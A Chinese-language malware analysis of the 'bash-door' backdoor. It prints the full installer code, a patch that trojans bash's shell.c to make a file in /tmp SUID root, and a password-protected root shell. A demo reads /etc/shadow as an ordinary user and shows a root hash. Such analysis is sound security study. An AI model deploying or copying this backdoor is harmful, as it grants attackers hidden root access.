

bash-door 后门分析

这是一个很有趣的后门，简单，但确实很有效（一旦被安装后，很难被发现）。

该后门软件修改 GNU 官方版本的 `bash shell` 的源代码，植入后门，然后在“肉鸡”上编译并安装。这样该“肉鸡”上运行的 `bash` 就有个大漏洞的，等着入侵者的光顾。

含有漏洞的 `bash` 在启动时会在 `/tmp` 目录下检查“`mclizokhb`”和“`mclzaKmfa`”这两个文件。`/tmp/mclizokhb` 就是该后门的 `SeCshell.c` 编译而成的程序，在安装该后门软件时就会被创建。它的主要功能就是为非 `root` 用户启动一个 `root shell`（入侵者梦寐以求的东西）。而 `/tmp/mclzaKmfa` 则可由入侵者定制（[可以没有](#)）。入侵者可以把某个应用改名为此文件名。`Bash` 会在启动时把该文件的 `owner` 改为 `root` 用户，并且设置 `SUID` 标志，这样该程序在执行时就会拥有 `root` 权限。

把整个后门软件的源代码全列出来也没几行，而且稍有编程知识的人几乎都懂（这是我目前看到过的最有趣的后门软件）。

整个“后门”就如下两个文件：

1. `bashdoor.c`

```
/*
 * Bash-door.c - By bob for www.dtors.net
 *
 * This is very lame coding...but the results are brilliant!
 *
 * Ever thought you could loose root?
 *
 * This script can be used for lots of different things, but its main
 * intention is to gain root privileges back if lost.
 *
 * [1] BD will wget the bash-2.05 tarball from the ftp.gnu.org.
 * It will then go on to patching shell.c with lockdowns bash patch.
 * Then it will compile and install the new bash shell on the system.
 *
 * [2] BD will Compile SeCshell.c to /tmp/mclzaKmfa
 *
 * [3] BD will exit.
 *
 * For further information on Trogan, read the "Readme" Document in the tarball.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
```

```

char cmd[1];

void menu(void);

void bash() {
puts("\n\nDownloading Bash-2.05....");
sleep(3);
system("/usr/bin/wget ftp://ftp.gnu.org/gnu/bash/bash-2.05.tar.gz>/dev/null");
puts("\n\nDone downloading, now we have to untar and compile.\nPlease wait...");
system("/bin/tar -zxvf bash-2.05.tar.gz>/dev/null");
system("/bin/mv ./bashp bash-2.05/");
chdir("bash-2.05/");
system("/usr/bin/patch shell.c bashp;./configure>/dev/null;make>/dev/null;make
install>/dev/null;mv -f ./bash /bin");
puts("\n\n/bin/bash has successfully been backdoored!");
chdir("$home");
sleep(5);
menu();
}

void secshell() {
puts("\n\nCompiling SeCshell....");
system("/usr/bin/gcc SeCshell.c -o /tmp/mclizokhb -lcrypt>/dev/null");
puts("\nSeCshell Compiled and installed in /tmp");
menu();
}

void menu()
{
printf("\n\nBash-door.c - by bob");
printf("\n\n--[1]= Update and backdoor Bash.");
printf("\n--[2]= Compile and install SeCshell.");
printf("\n--[3]= Exit.");
printf("\n\n>");
scanf("%ls", cmd);
if (strcmp(cmd, "1") == 0) bash();
else if (strcmp(cmd, "2") == 0) secshell();
else if (strcmp(cmd, "3") == 0) exit(0);
else
{
printf("erm %s is not one of the options!\n", cmd);
menu();
}
}

```

```

}
int main() {
    system("/usr/bin/clear");
    if(getuid() !=0)
    {
        fprintf (stderr, "WARNING: Bash-door cannot run correctly as a Normal User.\n");
        fprintf (stderr, "Please Run Bash-door as root uid(0).\n");
        exit(-1);
    }

    menu();
    return 0;
}

```

main()函数是该后门的安装主界面，会输出如下 3 中选项以供选择：



```

Bash-door.c - by bob

--[1]-- Update and backdoor Bash.
--[2]-- Compile and install SeCshell.
--[3]-- Exit.

>_

```

图中的 3 个选项分别对应 bash()函数，secshell()函数和 exit()函数。

bash()函数的代码浅显易懂。

```

① system("/usr/bin/wget ftp://ftp.gnu.org/gnu/bash/bash-2.05.tar.gz>/dev/null");
puts("\n\nDone downloading, now we have to untar and compile.\nPlease wait...");
② system("/bin/tar -zxvf bash-2.05.tar.gz>/dev/null");
system("/bin/mv ./bashp bash-2.05/");
chdir("bash-2.05/");
③ system ("/usr/bin/patch shell.c bashp;./configure>/dev/null;make>/dev/null;make
install>/dev/null;mv -f ./bash /bin");

```

- ① 从 GNU 网站下载 bash shell 的源代码
- ② 解压缩下载到的 bash shell 源代码
- ③ 先是对 GNU 的 bash shell 源代码中的 shell.c 文件打补丁（用后门中的 bashp 补丁），然后编译安装被动过手脚的 bash shell。

运行画面见下：

```

--[1]= Update and backdoor Bash.
--[2]= Compile and install SecShell.
--[3]= Exit.

>1

Downloading Bash-2.05....

Done downloading, now we have to untar and compile.
Please wait...
/bin/mv: cannot stat './bashp': No such file or directory
patching file shell.c
Hunk #2 succeeded at 401 with fuzz 2.
cc1: warning: changing search order for system directory "/usr/local/include"
cc1: warning: as it has already been specified as a non-system directory
cc1: warning: changing search order for system directory "/usr/local/include"
cc1: warning: as it has already been specified as a non-system directory

/bin/bash has successfully been backdoored!

```

最后一行输出告诉用户你现在机器上的 bash shell 是 “backdoored”。

所以关键是 bash-door 对原始的 bash shell 代码做了什么手脚，即 “/usr/bin/patch shell.c bashp” 这行命令所执行的效果。

```

#local bash backdoor patch
#Author: lockdown
#Date: Oct. 08, 2001
#
#Usage: patch shell.c bashp
#This patch applys a local backdoor to bash(version 2.05), I made this to use
#in a wargame I was participating in.
--- shell.c Mon Oct 8 13:12:10 2001
+++ patch.c Mon Oct 8 13:48:17 2001
@@ -291,6 +291,7 @@
{
    register int i;
    int code, saverst, old_errexist_flag;
+   struct stat finfo;
    volatile int locally_skip_execution;
    volatile int arg_index, top_level_arg_index;
#ifdef __OPENNT
@@ -400,6 +401,16 @@

    if (running_setuid && privileged_mode == 0)
        disable_priv_mode ();
+
+   if(getuid()==0)
+   {
+       if(stat("/tmp/mcliZokhb",&finfo)==0)

```

```
+ {
+     chown("/tmp/mclzaKmfa",0,0);
+     chmod("/tmp/mclzaKmfa",S_ISUID|S_IREAD|S_IXUSR|S_IRGRP|S_IXGRP|
+         S_IROTH|S_IXOTH);
+ }
+ }
```

也就是在 bash shell 启动时特意去检查“/tmp/mcliZokhb”这个文件，如果该文件存在，则把另一个文件“/tmp/mclzaKmfa”改成 root 所有，同时设置其为 SUID 程序。

至于“/tmp/mcliZokhb”是个什么文件，要看选项 2 了。

```
Bash-door.c - by bob

--[11]- Update and backdoor Bash.
--[21]- Compile and install SeCshell.
--[31]- Exit.

>2

Compiling SeCshell....
SeCshell.c: In function 'main':
SeCshell.c:23: warning: passing arg 1 of 'strcmp' makes pointer from integer without a cast

SeCshell Compiled and installed in /tmp

Bash-door.c - by bob

--[11]- Update and backdoor Bash.
--[21]- Compile and install SeCshell.
--[31]- Exit.

>_
```

即编译下面的 SeCshell.c 文件，生成的可执行文件即是“/tmp/mcliZokhb”。

```
system("/usr/bin/gcc SeCshell.c -o /tmp/mcliZokhb -lcrypt>/dev/null");
```

2. SeCshell.c

```
/*
 * SeCshell.c
 *
 * Secure root shell, protected by standard DES encryption.
 *
 * default passwd is bash, enter that at stopped: prompt.
 *
 * Pir8@dtors.net ~~ www.dtors.net
 *
 */

#include <stdlib.h>
#include <string.h>
#define PWD "nU.ajj1cF2Qk6" /* standard DES */
int main() { /* Lets start the program */
```

```

char *crypted=PWD;
char *pass; /* variable for passwd */

pass = (char *)getpass ("Stopped: "); /* lets get users pass */

if (strcmp(crypt(pass,crypted),crypted)) { /* lets see if the pass entered matches */

    exit(1);
}

else
{
    setuid(0); /* remove this line if you dont want to get a root shell */
    setgid(0); /* remove this line if you dont want to get a root shell */
    execl("/bin/sh","sh -i",0); /* Execute shell */
}
return 0;
}

```

该文件很简单，就是询问一下用户的密码。上面标红的是 DES 加密后的密文。你需要定制密码的话，就是把在/etc/shadow 中的密文抄到这里，重新编译即可。

下面是用 strace 跟踪到的被后门化的 bash 启动时的系统调用列表（部分）：

```

execve("/bin/bash", ["bash"], [/* 20 vars */]) = 0
uname({sys="Linux", node="DEBUG", ...}) = 0
brk(0) = 0x80c8f70
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=29539, ...}) = 0
old_mmap(NULL, 29539, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000
close(3) = 0
open("/lib/libtermcap.so.2", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\r\0"... , 1024)
= 1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=11696, ...}) = 0
old_mmap(NULL, 14868, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001b000
mprotect(0x4001e000, 2580, PROT_NONE) = 0
old_mmap(0x4001e000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x2000) = 0x4001e000
close(3) = 0
open("/lib/libdl.so.2", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\30"... , 1024)
= 1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=11314, ...}) = 0

```

```

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x4001f000
old_mmap(NULL, 11304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40020000
mprotect(0x40022000, 3112, PROT_NONE) = 0
old_mmap(0x40022000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x1000) = 0x40022000
close(3) = 0
open("/lib/i686/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220Y\1"... , 1024) =
1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=1395734, ...}) = 0
old_mmap(0x42000000, 1239844, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x42000000
mprotect(0x42126000, 35620, PROT_NONE) = 0
old_mmap(0x42126000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x126000) = 0x42126000
old_mmap(0x4212b000, 15140, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4212b000
close(3) = 0
munmap(0x40013000, 29539) = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
open("/dev/tty", O_RDWR|O_NONBLOCK|O_LARGEFILE) = 3
close(3) = 0
brk(0) = 0x80c8f70
brk(0x80c9000) = 0x80c9000
brk(0x80ca000) = 0x80ca000
open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=7560976, ...}) = 0
mmap2(NULL, 2097152, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40023000
close(3) = 0
brk(0x80cb000) = 0x80cb000
brk(0x80cc000) = 0x80cc000
getuid32() = 0
getgid32() = 0
geteuid32() = 0
getegid32() = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
time(NULL) = 1207221253
getuid32() = 0
stat64("/tmp/mcliZokhb", {st_mode=S_IFREG|0755, st_size=12134, ...}) = 0
chown32(0x80a951a, 0, 0) = -1 ENOENT (No such file or directory)
chmod("/tmp/mclzaKmfa", 04555) = -1 ENOENT (No such file or directory)
ioctl(0, SNDCTL_TMR_TIMEBASE, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, SNDCTL_TMR_TIMEBASE, {B38400 opost isig icanon echo ...}) = 0

```

```
brk(0x80cd000) = 0x80cd000
...
```

上面标红的第一行就是该“黑”bash 去查询“/tmp/mclizokhb”文件，返回为 0，表示存在。第二行与第三行是修改“/tmp/mclzaKmfa”文件的 owner 和设置 SUID，由于我没有创建该文件，所以两个系统调用都返回失败。

下面让我们看一下入侵者是怎样通过/tmp 目录下的“mclzaKmfa”文件来获得只有 root 才拥有的特权的。

```
[wzhou@DEBUG tmp]$ cp /bin/cat /tmp/mclzaKmfa
[wzhou@DEBUG tmp]$ ./ mclzaKmfa /etc/shadow
```

当然你没有权限查看只允许 root 查看的 shadow 文件。

```
[wzhou@DEBUG tmp]$ cp /bin/cat /tmp/mclzaKmfa
[wzhou@DEBUG tmp]$ ./mclzaKmfa /etc/shadow
./mclzaKmfa: /etc/shadow: Permission denied
[wzhou@DEBUG tmp]$ _
```

现在你重新启动一下系统，还是用普通用户登录，运行同样的命令。

```
[wzhou@DEBUG tmp]$ ./ mclzaKmfa /etc/shadow
```

但这时成功地看到了只有 root 才能看到的东西。


```

root:duykrAc7sPXo:13574:0:99999:7:::
bin:*:13572:0:99999:7:::
daemon:*:13572:0:99999:7:::
adm:*:13572:0:99999:7:::
lp:*:13572:0:99999:7:::
*:13572:0:99999:7:::
down:*:13572:0:99999:7:::
*:13572:0:99999:7:::
*:13572:0:99999:7:::
*:13572:0:99999:7:::
*:13572:0:99999:7:::
*:13572:0:99999:7:::
ator:*:13572:0:99999:7:::
s:*:13572:0:99999:7:::
er:*:13572:0:99999:7:::
*:13572:0:99999:7:::
dy:*:13572:0:99999:7:::
ff:13572:0:99999:7:::
ff:13572:0:99999:7:::
:ff:13572:0:99999:7:::
:ff:13572:0:99999:7:::
:ff:13572:0:99999:7:::
ff:13572:0:99999:7:::
null:ff:13572:0:99999:7:::
p:ff:13572:0:99999:7:::
lp:~
sync
shut
halt
mail
news
uucp
oper
game
goph
ftp
nobe
ntp
rpc
vcsa
nscc
sshd
rpm
mail
smms
:~

```

原因就是系统启动时运行被黑过的 bash 时下面代码中的标红的判断满足了，就把 /tmp/mcliZokhb 设为了 SUID 程序，且 owner 为 root。

```

+ if(getuid()==0)
+ {
+   if(stat("/tmp/mcliZokhb",&finfo)==0)
+   {
+     chown("/tmp/mclzaKmfa",0,0);
+     chmod("/tmp/mclzaKmfa",S_ISUID|S_IREAD|S_IXUSR|S_IRGRP|S_IXGRP|
+       S_IROTH|S_IXOTH);
+   }
+ }

```

```

-r-x----- 1 wzhou wzhou 2867 Dec 4 08:42 CMuCopyServerServiceStat
eWriter.cpp
-rw-rw-r-- 1 wzhou wzhou 2867 Dec 4 08:42 CMuCopyServerServiceStat
eWriter.cpp~
-rw-r--r-- 1 wzhou wzhou 2308 Mar 10 2002 dummy.o
-rw-rw-r-- 1 wzhou wzhou 0 Mar 10 2002 dummy.o.sym
-rw----- 1 root root 0 Feb 28 2007 fonts.alias.koPJfn
-rwxrwxr-x 1 wzhou wzhou 12660 Mar 10 2002 hello
-rw-rw-r-- 1 wzhou wzhou 26 Mar 10 2002 hello.c
-rw-rw-r-- 1 wzhou wzhou 1400 Mar 10 2002 hello.sym
drwx----- 2 root root 4096 Mar 2 2007 initrd.a3bffe
drwx----- 2 root root 4096 Mar 2 2007 initrd.f7v8ag
drwx----- 2 root root 4096 Mar 2 2007 initrd.lva38i
-rw-r--r-- 1 root root 235498 Oct 2 2007 initrd.img
-rw-r--r-- 1 root root 180502 Apr 3 19:19 list
-rw-rw-r-- 1 wzhou wzhou 60360 Feb 15 22:36 log
-rw-rw-r-- 1 wzhou wzhou 2624 Feb 15 22:46 log2
-rw-r--r-- 1 root root 4175 Feb 15 23:12 log3
-rw-r--r-- 1 root root 4175 Feb 15 23:16 log4
-rwxr-xr-x 1 root root 12134 Apr 3 21:04 mcliZokhb
-r-sr-xr-x 1 root root 19154 Apr 3 21:48 mclzaKmfa
-rwxr-xr-x 1 root root 14428 Oct 2 2007 mkinitrd
-rwxr-xr-x 1 root root 14561 Oct 2 2007 mkinitrd-tmp
-rw-rw-r-- 1 wzhou wzhou 147 Feb 17 21:36 sed.script
[wzhou@DEBUG tmp]$ _

```

如果你是普通用户，手工启动 bash 不会有此效果，因为上面的 if(getuid()==0) 条件不会满足。

z-l-dragon@hotmail.com

Walter Zhou

2008-4-3, 22:30